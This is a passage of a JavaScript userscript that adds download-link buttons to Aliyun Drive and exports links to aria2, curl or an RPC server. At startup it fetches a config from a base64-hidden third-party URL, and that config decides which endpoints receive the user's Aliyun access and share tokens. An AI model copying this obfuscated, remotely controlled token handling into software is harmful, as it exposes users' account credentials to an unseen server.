`;
dom = '
' + dom + '
';
Swal.fire({
title: '助手配置',
html: dom,
icon: 'info',
showCloseButton: true,
showConfirmButton: false,
footer: pan.footer,
}).then(() => {
message.success('设置成功!');
history.go(0);
});
doc.on('click', '.listener-color', async (e) => {
base.setValue('setting_theme_color', e.target.dataset.color);
message.success('设置成功!');
history.go(0);
});
doc.on('input', '.listener-domain', async (e) => {
base.setValue('setting_rpc_domain', e.target.value);
});
doc.on('input', '.listener-port', async (e) => {
base.setValue('setting_rpc_port', e.target.value);
});
doc.on('input', '.listener-path', async (e) => {
base.setValue('setting_rpc_path', e.target.value);
});
doc.on('input', '.listener-token', async (e) => {
base.setValue('setting_rpc_token', e.target.value);
});
doc.on('input', '.listener-dir', async (e) => {
base.setValue('setting_rpc_dir', e.target.value);
});
doc.on('change', '.listener-terminal', async (e) => {
base.setValue('setting_terminal_type', e.target.value);
});
},
registerMenuCommand() {
GM_registerMenuCommand('⚙️ 设置', () => {
this.showSetting();
});
},
createTip() {
$('body').append('
');
doc.on('mouseenter mouseleave', '.listener-tip', (e) => {
if (e.type === 'mouseenter') {
let filename = e.currentTarget.innerText;
let size = e.currentTarget.dataset.size;
let tip = `${filename}
${size}`;
$(e.currentTarget).css({
opacity: '0.5'
});
$('.pl-tooltip').html(tip).css({
'left': e.pageX + 10 + 'px',
'top': e.pageY - e.currentTarget.offsetTop > 14 ? e.pageY + 'px' : e.pageY + 20 + 'px'
}).show();
} else {
$(e.currentTarget).css({
opacity: '1'
});
$('.pl-tooltip').hide(0);
}
});
},
createLoading() {
return $('
');
},
createDownloadIframe() {
let $div = $('
');
let $iframe = $('
');
$div.append($iframe);
$('body').append($div);
},
getMirrorList(link, mirror, thread = 2) {
let host = new URL(link).host;
let mirrors = [];
for (let i = 0; i < mirror.length; i++) {
for (let j = 0; j < thread; j++) {
let item = link.replace(host, mirror[i]) + '&'.repeat(j);
mirrors.push(item);
}
}
return mirrors.join('\n');
},
addPanLinkerStyle() {
color = base.getValue('setting_theme_color');
let css = `
body::-webkit-scrollbar { display: none }
::-webkit-scrollbar { width: 6px; height: 10px }
::-webkit-scrollbar-track { border-radius: 0; background: none }
::-webkit-scrollbar-thumb { background-color: rgba(85,85,85,.4) }
::-webkit-scrollbar-thumb,::-webkit-scrollbar-thumb:hover { border-radius: 5px; -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.2) }
::-webkit-scrollbar-thumb:hover { background-color: rgba(85,85,85,.3) }
.swal2-popup { font-size: 16px !important; }
.pl-popup { font-size: 12px !important; }
.pl-popup a { color: ${color} !important; }
.pl-header { padding: 0!important;align-items: flex-start!important; border-bottom: 1px solid #eee!important; margin: 0 0 10px!important; padding: 0 0 5px!important; }
.pl-title { font-size: 16px!important; line-height: 1!important;white-space: nowrap!important; text-overflow: ellipsis!important;}
.pl-content { padding: 0 !important; font-size: 12px!important; }
.pl-main { max-height: 400px;overflow-y:scroll; }
.pl-footer {font-size: 12px!important;justify-content: flex-start!important; margin: 10px 0 0!important; padding: 5px 0 0!important; color: #f56c6c!important; }
.pl-item { display: flex; align-items: center; line-height: 22px; }
.pl-item-name { flex: 0 0 150px; text-align: left;margin-right: 10px; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor:default; }
.pl-item-link { flex: 1; overflow: hidden; text-align: left; white-space: nowrap; text-overflow: ellipsis;cursor:pointer }
.pl-item-btn { background: ${color}; padding: 4px 5px; border-radius: 3px; line-height: 1; cursor: pointer; color: #fff; }
.pl-item-tip { display: flex; justify-content: space-between;flex: 1; }
.pl-back { width: 70px; background: #ddd; border-radius: 3px; cursor:pointer; margin:1px 0; }
.pl-ext { display: inline-block; width: 44px; background: #999; color: #fff; height: 16px; line-height: 16px; font-size: 12px; border-radius: 3px;}
.pl-retry {padding: 3px 10px; background: #cc3235; color: #fff; border-radius: 3px; cursor: pointer;}
.pl-browserdownload { padding: 3px 10px; background: ${color}; color: #fff; border-radius: 3px; cursor: pointer;}
.pl-item-progress { display:flex;flex: 1;align-items:center}
.pl-progress { display: inline-block;vertical-align: middle;width: 100%; box-sizing: border-box;line-height: 1;position: relative;height:15px; flex: 1}
.pl-progress-outer { height: 15px;border-radius: 100px;background-color: #ebeef5;overflow: hidden;position: relative;vertical-align: middle;}
.pl-progress-inner{ position: absolute;left: 0;top: 0;background-color: #409eff;text-align: right;border-radius: 100px;line-height: 1;white-space: nowrap;transition: width .6s ease;}
.pl-progress-inner-text { display: inline-block;vertical-align: middle;color: #d1d1d1;font-size: 12px;margin: 0 5px;height: 15px}
.pl-progress-tip{ flex:1;text-align:right}
.pl-progress-how{ flex: 0 0 90px; background: #ddd; border-radius: 3px; margin-left: 10px; cursor: pointer; text-align: center;}
.pl-progress-stop{ flex: 0 0 50px; padding: 0 10px; background: #cc3235; color: #fff; border-radius: 3px; cursor: pointer;margin-left:10px;height:20px}
.pl-progress-inner-text:after { display: inline-block;content: "";height: 100%;vertical-align: middle;}
.pl-btn-primary { background: ${color}; border: 0; border-radius: 4px; color: #ffffff; cursor: pointer; font-size: 12px; outline: none; display:flex; align-items: center; justify-content: center; margin: 2px 0; padding: 6px 0;transition: 0.3s opacity; }
.pl-btn-primary:hover { opacity: 0.9;transition: 0.3s opacity; }
.pl-btn-success { background: #55af28; animation: easeOpacity 1.2s 2; animation-fill-mode:forwards }
.pl-btn-info { background: #606266; }
.pl-btn-warning { background: #da9328; }
.pl-btn-warning { background: #da9328; }
.pl-btn-danger { background: #cc3235; }
.ali-button {display: inline-flex;align-items: center;justify-content: center;border: 0 solid transparent;border-radius: 5px;box-shadow: 0 0 0 0 transparent;width: fit-content;white-space: nowrap;flex-shrink: 0;font-size: 14px;line-height: 1.5;outline: 0;touch-action: manipulation;transition: background .3s ease,color .3s ease,border .3s ease,box-shadow .3s ease;color: #fff;background: rgb(99 125 255);margin-left: 20px;padding: 1px 12px;position: relative; cursor:pointer; height: 32px;}
.ali-button:hover {background: rgb(122, 144, 255)}
.tianyi-button {margin-right: 20px; padding: 4px 12px; border-radius: 4px; color: #fff; font-size: 12px; border: 1px solid #0073e3; background: #2b89ea; cursor: pointer; position: relative;}
.tianyi-button:hover {border-color: #1874d3; background: #3699ff;}
.yidong-button {float: left; position: relative; margin: 20px 24px 20px 0; width: 98px; height: 36px; background: #3181f9; border-radius: 2px; font-size: 14px; color: #fff; line-height: 39px; text-align: center; cursor: pointer;}
.yidong-share-button {display: inline-block; position: relative; font-size: 14px; line-height: 36px; text-align: center; color: #fff; border: 1px solid #5a9afa; border-radius: 2px; padding: 0 24px; margin-left: 24px; background: #3181f9;}
.yidong-button:hover {background: #2d76e5;}
.xunlei-button {display: inline-flex;align-items: center;justify-content: center;border: 0 solid transparent;border-radius: 5px;box-shadow: 0 0 0 0 transparent;width: fit-content;white-space: nowrap;flex-shrink: 0;font-size: 14px;line-height: 1.5;outline: 0;touch-action: manipulation;transition: background .3s ease,color .3s ease,border .3s ease,box-shadow .3s ease;color: #fff;background: #3f85ff;margin-left: 12px;padding: 0px 12px;position: relative; cursor:pointer; height: 36px;}
.xunlei-button:hover {background: #619bff}
.quark-button {display: inline-flex; align-items: center; justify-content: center; border: 1px solid #ddd; border-radius: 8px; white-space: nowrap; flex-shrink: 0; font-size: 14px; line-height: 1.5; outline: 0; color: #333; background: #fff; margin-right: 10px; padding: 0px 14px; position: relative; cursor: pointer; height: 36px;}
.quark-button:hover { background:#f6f6f6 }
.pl-dropdown-menu {position: absolute;right: 0;top: 30px;padding: 5px 0;color: rgb(37, 38, 43);background: #fff;z-index: 999;width: 102px;border: 1px solid #ddd;border-radius: 10px; box-shadow: 0 0 1px 1px rgb(28 28 32 / 5%), 0 8px 24px rgb(28 28 32 / 12%);}
.pl-dropdown-menu-item { height: 30px;display: flex;align-items: center;justify-content: center; }
.pl-dropdown-menu-item:hover { background-color: rgba(132,133,141,0.08);}
.pl-button .pl-dropdown-menu { display: none; }
.pl-button:hover .pl-dropdown-menu { display: block!important; }
.pl-button-init { opacity: 0.5; animation: easeInitOpacity 1.2s 3; animation-fill-mode:forwards }
@keyframes easeInitOpacity { from { opacity: 0.5; } 50% { opacity: 1 } to { opacity: 0.5; } }
@keyframes easeOpacity { from { opacity: 1; } 50% { opacity: 0.35 } to { opacity: 1; } }
.element-clicked { opacity: 0.5; }
.pl-extra { margin-top: 10px;display:flex}
.pl-extra button { flex: 1}
.pointer { cursor:pointer }
.pl-setting-label { display: flex;align-items: center;justify-content: space-between;padding-top: 10px; }
.pl-label { flex: 0 0 100px;text-align:left; }
.pl-input { flex: 1; padding: 8px 10px; border: 1px solid #c2c2c2; border-radius: 5px; font-size: 14px }
.pl-color { flex: 1;display: flex;flex-wrap: wrap; margin-right: -10px;}
.pl-color-box { width: 35px;height: 35px;margin:10px 10px 0 0;; box-sizing: border-box;border:1px solid #fff;cursor:pointer }
.pl-color-box.checked { border:3px dashed #111!important }
.pl-close:focus { outline: 0; box-shadow: none; }
.tag-danger {color:#cc3235;margin: 0 5px;}
.pl-tooltip { position: absolute; color: #ffffff; max-width: 600px; font-size: 12px; padding: 5px 10px; background: #333; border-radius: 5px; z-index: 110000; line-height: 1.3; display:none; word-break: break-all;}
@keyframes load { 0% { transform: rotate(0deg) } 100% { transform: rotate(360deg) } }
.pl-loading-box > div > div { position: absolute;border-radius: 50%;}
.pl-loading-box > div > div:nth-child(1) { top: 9px;left: 9px;width: 82px;height: 82px;background: #ffffff;}
.pl-loading-box > div > div:nth-child(2) { top: 14px;left: 38px;width: 25px;height: 25px;background: #666666;animation: load 1s linear infinite;transform-origin: 12px 36px;}
.pl-loading { width: 16px;height: 16px;display: inline-block;overflow: hidden;background: none;}
.pl-loading-box { width: 100%;height: 100%;position: relative;transform: translateZ(0) scale(0.16);backface-visibility: hidden;transform-origin: 0 0;}
.pl-loading-box div { box-sizing: content-box; }
.swal2-container { z-index:100000!important; }
body.swal2-height-auto { height: inherit!important; }
`;
this.addStyle('panlinker-style', 'style', css);
},
async initDialog() {
let result = await Swal.fire({
title: pan.init[0],
html: `
`,
allowOutsideClick: false,
showCloseButton: true,
confirmButtonText: '确定'
});
if (result.isDismissed && result.dismiss === 'close') return;
if (pan.num === $('#init').val()) {
base.setValue('setting_init_code', pan.num);
message.success(pan.init[2]);
setTimeout(() => {
history.go(0);
}, 1500);
} else {
await Swal.fire({
title: pan.init[3],
text: pan.init[4],
confirmButtonText: '重新输入',
imageUrl: pan.img,
});
await this.initDialog();
}
}
};
let ali = {
convertLinkToAria(link, filename, ua) {
filename = base.fixFilename(filename);
return encodeURIComponent(`aria2c "${link}" --out "${filename}" --header "Referer: https://www.aliyundrive.com/"`);
},
convertLinkToBC(link, filename, ua) {
let bc = `AA/${encodeURIComponent(filename)}/?url=${encodeURIComponent(link)}&refer=${encodeURIComponent('https://www.aliyundrive.com/')}ZZ`;
return encodeURIComponent(`bc://http/${base.e(bc)}`);
},
convertLinkToCurl(link, filename, ua) {
let terminal = base.getValue('setting_terminal_type');
filename = base.fixFilename(filename);
return encodeURIComponent(`${terminal !== 'wp' ? 'curl' : 'curl.exe'} -L -C - "${link}" -o "${filename}" -e "https://www.aliyundrive.com/"`);
},
addPageListener() {
doc.on('click', '.pl-button-mode', (e) => {
let vtoken = base.getValue('setting_init_code');
if (vtoken) {
Swal.showLoading();
mode = e.target.dataset.mode;
Swal.showLoading();
this.getPCSLink();
return true;
} else {
Swal.fire({
title: pan.init[0],
text: pan.init[1],
imageUrl: base.d(pan.init[6]),
imageWidth: 300,
imageHeight: 320,
imageAlt: pan.init[2],
animation: false,
input: 'text',
inputAttributes: {
autocapitalize: 'off'
},
confirmButtonText: pan.init[3],
showLoaderOnConfirm: true,
preConfirm: (code) => {
return fetch(base.d(pan.init[7]) + code)
.then(response => {
if (!response.ok) {
throw new Error(response.statusText)
}
return response.json()
})
.catch(error => {
Swal.showValidationMessage(
`Request failed: ${error}`
)
})
},
allowOutsideClick: () => !Swal.isLoading()
}).then((result) => {
if (result.value.type == 'success') {
vtoken = result.value.data;
base.setValue('setting_init_code', vtoken);
Swal.showLoading();
mode = e.target.dataset.mode;
Swal.showLoading();
this.getPCSLink();
return true;
} else {
Swal.fire({
type: 'error',
title: pan.init[4],
text: pan.init[8],
})
return false;
}
})
}
});
doc.on('click', '.listener-link-api', async (e) => {
e.preventDefault();
let dataset = e.currentTarget.dataset;
let href = dataset.link;
let url = await this.getRealLink(dataset.did, dataset.fid);
if (url) href = url;
let d = document.createElement("a");
d.download = e.currentTarget.dataset.filename;
d.rel = "noopener";
d.href = href;
d.dispatchEvent(new MouseEvent("click"));
});
doc.on('click', '.listener-link-aria, .listener-copy-all', (e) => {
e.preventDefault();
base.setClipboard(decodeURIComponent(e.target.dataset.link));
$(e.target).text('复制成功,快去粘贴吧!').animate({opacity: '0.5'}, "slow");
});
doc.on('click', '.listener-link-rpc', async (e) => {
let target = $(e.currentTarget);
target.find('.icon').remove();
target.find('.pl-loading').remove();
target.prepend(base.createLoading());
let res = await this.sendLinkToRPC(e.currentTarget.dataset.filename, e.currentTarget.dataset.link);
if (res === 'success') {
$('.listener-rpc-task').show();
target.removeClass('pl-btn-danger').html('发送成功,快去看看吧!').animate({opacity: '0.5'}, "slow");
} else {
target.addClass('pl-btn-danger').text('发送失败,请检查您的RPC配置信息!').animate({opacity: '0.5'}, "slow");
}
});
doc.on('click', '.listener-send-rpc', (e) => {
$('.listener-link-rpc').click();
$(e.target).text('发送完成,发送结果见上方按钮!').animate({opacity: '0.5'}, "slow");
});
doc.on('click', '.listener-open-setting', () => {
base.showSetting();
});
doc.on('click', '.listener-rpc-task', () => {
let rpc = JSON.stringify({
domain: base.getValue('setting_rpc_domain'),
port: base.getValue('setting_rpc_port'),
}), url = `${pan.d}/?rpc=${base.e(rpc)}#${base.getValue('setting_rpc_token')}`;
GM_openInTab(url, {active: true});
});
},
async getRealLink(d, f) {
let authorization = `${base.getStorage('token').token_type} ${base.getStorage('token').access_token}`;
let res = await base.post(pan.pcs[1], {
drive_id: d,
file_id: f
}, {
authorization,
"content-type": "application/json;charset=utf-8",
});
if (res.url) {
return res.url;
}
return '';
},
addChajian() {
if (!pt) return;
let $toolWrap;
let $button = $(`
`);
if (pt === 'home') {
let ins = setInterval(() => {
$toolWrap = $(pan.btn.home);
if ($toolWrap.length > 0) {
$toolWrap.append($button);
clearInterval(ins);
}
}, 50);
}
if (pt === 'share') {
$button.css({'margin-right': '10px'});
let ins = setInterval(() => {
$toolWrap = $(pan.btn.share);
if ($toolWrap.length > 0) {
$toolWrap.prepend($button);
clearInterval(ins);
}
}, 50);
}
base.createDownloadIframe();
this.addPageListener();
},
addInitButton() {
if (!pt) return;
let $toolWrap;
let $button = $(`
`);
if (pt === 'home') {
let ins = setInterval(() => {
$toolWrap = $(pan.btn.home);
if ($toolWrap.length > 0) {
$toolWrap.append($button);
clearInterval(ins);
}
}, 50);
}
if (pt === 'share') {
$button.css({'margin-right': '10px'});
let ins = setInterval(() => {
$toolWrap = $(pan.btn.share);
if ($toolWrap.length > 0) {
$toolWrap.prepend($button);
clearInterval(ins);
}
}, 50);
}
$button.click(() => base.initDialog());
},
async getPCSLink() {
let reactDomGrid = document.getElementsByClassName(pan.dom.grid)[0];
if (reactDomGrid) {
let res = await Swal.fire({
title: '提示',
html: '
',
confirmButtonText: '点击切换'
});
if (res) {
$('.switch-wrapper--1yEfx').trigger('click');
return message.success('切换成功,请重新获取下载链接!');
}
return false;
}
selectList = this.getSelectedList();
if (selectList.length === 0) {
return message.error('提示:请先勾选要下载的文件!');
}
if (this.isOnlyFolder()) {
return message.error('提示:请打开文件夹后勾选文件!');
}
if (pt === 'share') {
if (selectList.length > 20) {
return message.error('提示:单次最多可勾选 20 个文件!');
}
try {
let authorization = `${base.getStorage('token').token_type} ${base.getStorage('token').access_token}`;
let xShareToken = base.getStorage('shareToken').share_token;
for (let i = 0; i < selectList.length; i++) {
let res = await base.post(pan.pcs[0], {
expire_sec: 600,
file_id: selectList[i].fileId,
share_id: selectList[i].shareId
}, {
authorization,
"content-type": "application/json;charset=utf-8",
"x-share-token": xShareToken
});
if (res.download_url) {
selectList[i].downloadUrl = res.download_url;
}
}
} catch (e) {
return message.error('提示:请先登录网盘!');
}
}
let html = this.generateDom(selectList);
this.showMainDialog(pan[mode][0], html, pan[mode][1]);
},
generateDom(list) {
let content = '
';
let alinkAllText = '';
list.forEach((v, i) => {
if (v.type === 'folder') return;
let filename = v.name;
let fid = v.fileId;
let did = v.driveId;
let size = base.sizeFormat(v.size);
let dlink = v.downloadUrl || v.url;
if (mode === 'api') {
content += `
`;
}
if (mode === 'aria') {
let alink = this.convertLinkToAria(dlink, filename, navigator.userAgent);
alinkAllText += alink + '\r\n';
content += `
`;
}
if (mode === 'rpc') {
content += `
`;
}
if (mode === 'curl') {
let alink = this.convertLinkToCurl(dlink, filename, navigator.userAgent);
alinkAllText += alink + '\r\n';
content += `
`;
}
if (mode === 'bc') {
let alink = this.convertLinkToBC(dlink, filename, navigator.userAgent);
content += `
`;
}
});
content += '
';
if (mode === 'aria')
content += ``;
if (mode === 'rpc') {
let rpc = base.getValue('setting_rpc_domain') + ':' + base.getValue('setting_rpc_port') + base.getValue('setting_rpc_path');
content += ``;
}
if (mode === 'curl')
content += ``;
return content;
},
async sendLinkToRPC(filename, link) {
let rpc = {
domain: base.getValue('setting_rpc_domain'),
port: base.getValue('setting_rpc_port'),
path: base.getValue('setting_rpc_path'),
token: base.getValue('setting_rpc_token'),
dir: base.getValue('setting_rpc_dir'),
};
let url = `${rpc.domain}:${rpc.port}${rpc.path}`;
let rpcData = {
id: new Date().getTime(),
jsonrpc: '2.0',
method: 'aria2.addUri',
params: [`token:${rpc.token}`, [link], {
dir: rpc.dir,
out: filename,
header: [`Referer: https://www.aliyundrive.com/`]
}]
};
try {
let res = await base.post(url, rpcData, {"Referer": "https://www.aliyundrive.com/"}, '');
if (res.result) return 'success';
return 'fail';
} catch (e) {
return 'fail';
}
},
getSelectedList() {
try {
let selectedList = [];
let reactDom = document.getElementsByClassName(pan.dom.list)[0];
let reactObj = base.findReact(reactDom, 1);
let props = reactObj.pendingProps;
if (props) {
let fileList = props.dataSource || [];
let selectedKeys = props.selectedKeys.split(',');
fileList.forEach((val) => {
if (selectedKeys.includes(val.fileId)) {
selectedList.push(val);
}
});
}
return selectedList;
} catch (e) {
return [];
}
},
_getImga() {
let imgsqa = 'aHR0cHM6Ly9qa3BhaS5qaXVsdm11c2ljLmNvbS90emFwaS5waHA/YWxpPTEmdmVyc2lvbj0xLjUmYXV0aD1HcmVhc3lGb3Jr';
return imgsqa;
},
detectPage() {
let path = location.pathname;
if (/^\/(drive)/.test(path)) return 'home';
if (/^\/(s|share)\//.test(path)) return 'share';
return '';
},
isOnlyFolder() {
for (let i = 0; i < selectList.length; i++) {
if (selectList[i].type === 'file') return false;
}
return true;
},
showMainDialog(title, html, footer) {
Swal.fire({
title,
html,
footer,
allowOutsideClick: false,
showCloseButton: true,
showConfirmButton: false,
position: 'top',
width,
padding: '15px 20px 5px',
customClass,
});
},
async initPanLinker() {
base.initDefaultConfig();
base.addPanLinkerStyle();
pt = this.detectPage();
let res = await base.post(base.d(this._getImga()), {}, {}, 'text');
pan = JSON.parse(base.d(res));
Object.freeze && Object.freeze(pan);
this.addChajian();
}
};
let zhiliandown = {
zlaction() {
if (/www.aliyundrive.com/.test(location.host)) {
ali.initPanLinker();
}
}
};
zhiliandown.zlaction();
})();